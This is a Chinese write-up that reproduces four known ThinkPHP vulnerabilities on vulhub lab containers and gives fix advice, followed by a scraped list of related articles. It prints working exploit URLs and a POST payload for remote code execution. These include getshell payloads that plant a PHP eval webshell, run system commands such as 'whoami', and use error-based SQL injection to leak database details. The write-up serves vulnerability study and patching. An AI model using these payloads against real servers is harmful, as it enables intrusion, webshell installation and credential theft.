ThinkPHP漏洞总结复现

article/2025/8/2 16:34:14

ThinkPHP漏洞总结

  • 简介
  • 版本
    • Thinkphp 2.x 任意代码执行漏洞
      • 漏洞原理
      • 复现过程
      • 修复意见
    • Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见
    • Thinkphp5.0.23远程代码执行漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见
    • Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见

简介

  ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
  ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

版本

Thinkphp 2.x 任意代码执行漏洞

漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

explode函数是把通过/把url参数拆开,然后再用implode函数通过\/拼接起来,然后带入preg_replace函数里面。preg_replace函数的/e模式,和php双引号都能能解析变量,代码执行。

正则表达式:'@(\w+)'.\$depr.'([^'.$depr.'\/]+)@e'
简化后是
正则表达式是:/(\w+)\/([^\/\/]+)/e\w+表示匹配任意长的`[字母数字下划线]`字符串,然后匹配 `/ `符号,再匹配除了` / `符号以外的字符,匹配连续的两个参数。$var[\'\\1\']="\\2";
\\1是取匹配正则的字符串的第一个匹配结果,\\2是取第二个匹配结果。
一个被当成键名,一个被当成键值,传进了var数组里面。

举例说明:

URL:www.baidu.com/index.php?s=1/2/3/4
每次匹配1和2 、 3和4 、 5和6。
然后,也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。
那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。而双引号是存在在 \2 外面的,那么就说明我们要控制的是偶数位的参数。

复现过程

环境:vulhub

docker-compose up //一键启动

在这里插入图片描述
访问环境:
在这里插入图片描述
POC:http://192.168.255.128:8080/index.php?s=1/2/3/${phpinfo()}
在这里插入图片描述

getshell payload: http://192.168.255.128:8080/index.php?s=1/2/3/${@print(eval($_POST[1]))}
在这里插入图片描述
上蚁剑:
在这里插入图片描述

修复意见

1、下载官方补丁
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
2、修改/ThinkPHP/Lib/Core/Dispatcher.class.php文件
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行;

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var[\'\\1\']='\\2';', implode($depr,$paths));

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞原理

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
详细分析:ThinkPHP5 远程代码执行漏洞分析

影响范围

ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31

复现过程

环境:vulhub
在这里插入图片描述
访问地址:
在这里插入图片描述
POC:
http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在这里插入图片描述
任意代码执行:http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在这里插入图片描述
getshell:http://192.168.255.128:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php eval($_POST[1]);?>
在这里插入图片描述
在这里插入图片描述
上蚁剑:
在这里插入图片描述

修复意见

1、将版本升至5.0.23及以上;5.1.31及以上。

5.0版本在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1版本在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);
}

Thinkphp5.0.23远程代码执行漏洞

漏洞原理

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围

Thinkphp 5.0.0~ 5.0.23

复现过程

环境:vulhub
在这里插入图片描述
访问地址:
在这里插入图片描述
POC:

POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

Burp抓包,改包。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复意见

1、升级代码到最新版本5.0.24及以上;

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响范围

ThinkPHP < 5.1.23

复现过程

环境:vulhub
在这里插入图片描述
访问地址,环境成功运行:
在这里插入图片描述
POC:http://192.168.255.128:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
在这里插入图片描述

修复意见

1、在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号。
2、升级版本至最新。


http://chatgpt.dhexx.cn/article/baijXAWD.shtml

相关文章

ThinkPHP 漏洞利用工具

在Github上搜寻好用的安全工具,来充实武器库,实属一大乐趣所在。 当看到ThinkPHP十年磨一剑的提示,那么今天这里分享的工具就可以派上用场了,一键检测ThinkPHP全版本漏洞。 01、TPscan 一键ThinkPHP漏洞检测,基于Python3,命令行检测,集成了14个常见的ThinkPHP框架漏洞检…

ThinkPHP历史漏洞

文章目录 ThinkPHP简介Thinkphp历史漏洞Thinkphp 2.x 任意代码执行漏洞漏洞描述影响版本漏洞复现 Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)漏洞描述影响版本漏洞复现 ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)漏洞描述影响版本漏洞复现 Think…

thinkphp漏洞总结

目录 前言 一、远程代码执行漏洞 1.1 影响范围 1.2 漏洞详情 二、5.x远程命令注入 三、5.1.x SQL注入 前言 thinkphp是一个国内轻量级的开发框架&#xff0c;采用phpapache&#xff0c;在更新迭代中&#xff0c;thinkphp也经常爆出各种漏洞&#xff0c;thinkphp一般有th…

Thinkphp漏洞详解合集

文章目录 Thinkphp6.0.12LTS反序列化漏洞环境漏洞分析 thinkphp lang命令执行环境影响版本漏洞分析漏洞复现 CNVD-2018-24942(t5RCE)环境影响版本漏洞分析漏洞复现 Thinkphp3.2.x命令执行环境漏洞分析漏洞复现 thinkphp-2x-rce漏洞环境影响版本漏洞分析 Thinkphp5.0.23变量覆盖…

thinkphp漏洞复现

所有文章&#xff0c;仅供安全研究与学习之用&#xff0c;后果自负! thinkphp漏洞 前言一、thinkphp-2x-rce 代码执行0x01 漏洞描述0x02 影响版本0x03 漏洞利用0x04 漏洞修复 二、thinkphp 代码执行 (CNVD-2018-24942)0x01 漏洞描述0x02 影响范围0x03 漏洞利用这就完成了&#…

【shell】shell脚本实战-while循环语句

前言 上文我们讨论了for循环的使用&#xff0c;在有限循环里&#xff0c;我们使用for循环是很方便的一件事情&#xff0c;今天我们来探讨下while循环 while循环语句的语法分析 语法格式一&#xff1a; while [条件] do操作 done语法格式二&#xff1a; while read line do操作…

linux中shell的循环

循环主要分为3种 1.for循环 for循环的基本语法结构是三步走 for ##条件do ##要做什么 done ##结束 借几个脚本来理解一下…

【Linux】shell编程之循环语句

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、循环语句二、for循环语句1.for 语句的结构2.for语句应用示例 三、while 循环语句1.while 循环语句结构2.while语句应用示例 四、until 循环五、跳出循环六、死循…

shell-循环

接上一篇shell运算符接着往下说&#xff0c;shell循环&#xff1a; shell循环有三种&#xff0c;一种是for循环&#xff0c;一种是while循环&#xff0c;还有一种是until循环&#xff0c;循环体中和java类似&#xff0c;可以使用break调出当前循环&#xff0c;continue继续下一…

linux\bash shell for命令\循环

内容来自《Linux命令行与shell脚本编程大全.第3版 (布鲁姆&#xff0c;布雷斯纳汉)》for命令 下面是基本格式&#xff1a; for var in list # 或者把do也写在这一行&#xff1a;for var in list; do docommands done例如&#xff0c;读取列表&#xff1a; for test in A…

linux用while循环输出1到10,Linux Shell系列教程之(十一)Shell while循环 | Linux大学...

摘要 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经对Shell 循环语句的for循环进行了介绍&#xff0c;本篇给大家介绍下Shell 中另一种循环语句&#xff1a;Shell while循环。 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经…

Linux命令行循环执行shell命令浅谈

本文主要介绍了Linux命令行&#xff0c;循环执行shell命令的相关知识&#xff0c;主要包括死循环&#xff0c;普通计数循环&#xff0c;以及Linux shell循环命令 while死循环的用法,需要的朋友可以参考下 Linux命令行&#xff0c;循环执行shell命令 死循环 命令格式 1 while t…

Linux中shell的循环语句

目录 一、循环语句 1、for循环语句 批量添加未存在的用户&#xff0c;用户名存放在users.txt文件中&#xff0c;每行一个初始密码均设为123456&#xff0c;新增users.txt 文件&#xff0c;vim users.txt 录入用户 2、while循环语句 通过变量RANDOM获得1-999随机数,提示用户猜测…

【LinuxShell】Shell编程之循环语句

文章目录 前言一、循环1.循环的作用2.循环和遍历 二、for循环语句1.for语句的用法2.for逻辑结构3.for语句的格式4.echo的用法5.for语句的典型案列 三、while循环语句1.while语句的用法2.while逻辑结构3.while语句的格式4.while语句的典型案例 四、until命令1.until语句的用法2.…

【Linux】:shell循环语句

运行Shell脚本有两种方法&#xff1a; 1、vi test.sh #! /bin/bash #编写内容 运行sh test.sh 2、chmod x ./test.sh #脚本具有执行权限 ./test.sh #执行脚本 if条件判断 单分支if条件&#xff1a; if [ 条件判断式 ]then程序 fi注意&#xff1a;中括号与条件判断式之间有空…

shell脚本循环执行一个linux命令,shell脚本编程之循环语句

在运行脚本时重复执行一系列的命令是很常见的&#xff0c;这时我们就需要使用循环语句来达到这个目的。 一、for命令 格式&#xff1a;for 变量 in 列表&#xff1b;do 循环体 done for命令会遍历列表中的每一个值&#xff0c;并且在遍历完成后退出循环。 列表形式有以下几种&a…

Linuxshell脚本之循环语句

目录 一、循环 1.循环的含义 2.重复运行次数 3.常见的循环命令 4.循环示意图 二、For语句 1.定义 2.表达式 &#xff08;1&#xff09;for循环 &#xff08;2&#xff09;算术for循环 &#xff08;3&#xff09;嵌套 ​ 三、while语句 1定义 2.格式 3.while循…

【Linux】 Shell循环

for循环遍历 { }C语言风格的for 遍历 while 循环 while test测试成立 do命令 donewhile : # 相当于while true until循环 与while 循环相反 until 循环 while test测试不成立 do命令 donecontinue & break 嵌套的时候 if 要和 fi 在一起 do 要和done 在一起 (相邻最…

二、马尔可夫决策过程与贝尔曼方程

这里写目录标题 1 马尔可夫性质2 马尔可夫过程3 马尔可夫奖励过程&#xff08;Markov reward process, MRP&#xff09;3.1 MRP的贝尔曼方程3.2 MRP的贝尔曼方程求解方法3.3 总结 4 马尔可夫决策过程&#xff08;Markov decision process, MDP&#xff09;4.1 MDP状态价值函数贝…

马尔可夫决策过程和贝尔曼方程

马尔可夫决策过程&#xff08;MDP)简介 下一个状态 S t 1 S_{t1} St1​是从概率分布P中得到的&#xff0c;该概率分布P取决于整个历史&#xff0c;因此我们需要考虑从 s 0 s_0 s0​开始到t时刻的状态。马尔可夫是具有马尔可夫性质的随机过程 定义 P [ S t 1 ∣ S t ] P [ …